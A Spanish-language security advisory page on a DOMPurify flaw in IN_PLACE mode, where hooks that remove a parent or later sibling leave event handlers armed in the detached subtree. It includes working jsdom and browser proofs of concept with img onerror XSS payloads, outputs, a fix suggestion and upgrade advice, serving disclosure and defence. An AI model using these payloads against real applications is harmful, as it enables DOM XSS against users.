DOMPurify IN_PLACE: un hook que elimina un elemento padre o hermano deja armados los controladores de eventos del subárbol separado (corrección incompleta para GHSA-p98j-92pf-mc4p)
Resumen
La corrección 3.4.16 para GHSA-p98j-92pf-mc4p solo cubre un hook que elimina el nodo para el que fue invocado. Si un hook en IN_PLACE elimina un nodo diferente, como el padre del nodo actual o un hermano que aún no ha sido visitado, ese subárbol nunca se recorre ni se neutraliza. Los controladores de eventos en él permanecen en los elementos, y un <img onerror> que ya se estaba cargando se activa después de que sanitize() retorne.
El archivo README indica: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns." Esto no se cumple cuando el nodo separado no es el nodo propio del hook.
Versiones probadas
- 3.4.16 (más reciente) y main en 18f8f0e
- también 3.4.15, 3.4.12 y 2.5.8
jsdom para la matriz a continuación, y Chromium (Playwright) para el disparo real del evento.
Detalles
src/purify.ts línea 2134 (dist/purify.cjs.js línea 2009 en 3.4.16), _handleHookDetachedNode():
if (currentNode === root || getParentNode(currentNode) !== null) {
return false;
}
if (IN_PLACE) {
_neutralizeSubtree(currentNode);
}
Solo comprueba si currentNode perdió a su padre. Cuando un hook elimina currentNode.parentNode (o cualquier ancestro), currentNode todavía tiene un padre, por lo que no ocurre nada. El resto del subárbol eliminado ya no es accesible para el walker y no está en DOMPurify.removed, por lo que el pase posterior al recorrido tampoco lo detecta. Lo mismo sucede cuando un hook elimina un hermano posterior. Esto aplica a los cinco hooks de elementos y atributos.
PoC (jsdom)
const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document
for (const mode of ['self', 'parent', 'nextSibling']) {
const DOMPurify = createDOMPurify(win)
doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
'<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
const root = doc.getElementById('root')
const evil = doc.getElementById('evil')
// app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.getAttribute && node.getAttribute('class') === 'bad') {
if (mode === 'self') node.remove()
if (mode === 'parent') node.parentNode.remove()
if (mode === 'nextSibling') node.nextElementSibling.remove()
}
})
DOMPurify.sanitize(root, { IN_PLACE: true })
console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}
Salida en 3.4.16:
3.4.16 self onerror = null
3.4.16 parent onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"
En el modo self, el walker aún alcanza la segunda imagen y elimina onerror. En los otros dos modos, la segunda imagen se desacopla conservando su controlador asignado. El mismo resultado se obtiene con cada uno de beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes y afterSanitizeAttributes.
PoC (navegador)
Lo mismo en una página real, servida desde 127.0.0.1 y abierta en Chromium:
<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
const D = DOMPurify(window);
D.addHook('afterSanitizeAttributes', n => {
if (n.getAttribute && n.getAttribute('class') === 'bad') {
if (mode === 'parent') n.parentNode.remove();
if (mode === 'self') n.remove();
}
});
const root = document.createElement('div');
document.body.appendChild(root);
root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
D.sanitize(root, { IN_PLACE: true });
return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
document.getElementById('log').textContent =
'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired);
}, 1500);
</script>
Resultado en 3.4.16:
version=3.4.16
self out=<div><figure><img src="x"></figure><p>ok</p></div>
parent out=<div><p>ok</p></div>
fired=["parent"]
El árbol devuelto está limpio en ambos casos, pero el controlador en la imagen separada se ejecuta en la página para parent.
Impacto
Una aplicación que utiliza IN_PLACE con un hook que elimina un contenedor o un elemento cercano (por ejemplo, "eliminar todo el <figure> si su imagen no está permitida") queda expuesta a DOM XSS a partir del marcado de un atacante después de que sanitize() retorne. Requiere ese tipo de hook, por lo que entra en "input plus an application choice" en SECURITY.md, pero rompe la garantía que el README ofrece para los nodos separados por hooks y sigue el mismo patrón que GHSA-55q2-fjhq-7xh7 y GHSA-p98j-92pf-mc4p.
Corrección sugerida
En lugar de verificar únicamente currentNode, comprobar después de cada llamada al hook si se separó algo fuera del nodo actual. Dos opciones simples:
- antes de llamar a un hook en el modo
IN_PLACE, recordar el siguiente nodo que visitará el walker y los ancestros del nodo actual; después del hook, neutralizar cualquiera de ellos que ya no esté adjunto bajoroot - o, después del recorrido, neutralizar cada elemento que estaba en el árbol original pero que ya no está conectado a
root(por ejemplo, recopilando los elementos antes del recorrido)
Qué hacer
Actualice dompurify a la versión 3.4.17 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | dompurify | < 3.4.17 | 3.4.17 |
Referencias
- Vector CVSS
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-693, CWE-79- Plataforma
- npm
- Paquete
dompurify- Publicada
- 22.10.2026
- Actualizado
- 24.10.2026 00:07
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-mrv2-3pqr-j5jr - CC BY 4.0
Historial de vulnerabilidades: dompurify
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 33
- Primera → última
- 08.2020 10.2026
- Sin corrección
- 1
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 3
- Alta 4
- Media 19
- Baja 7
Divulgaciones por año
- 2020: 3
- 2021: 0
- 2022: 0
- 2023: 1
- 2024: 3
- 2025: 1
- 2026: 25
-
DOMPurify IN_PLACE: un hook que elimina un elemento padre o hermano deja armados los controladores de eventos del subárbol separado (corrección incompleta para GHSA-p98j-92pf-mc4p) esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.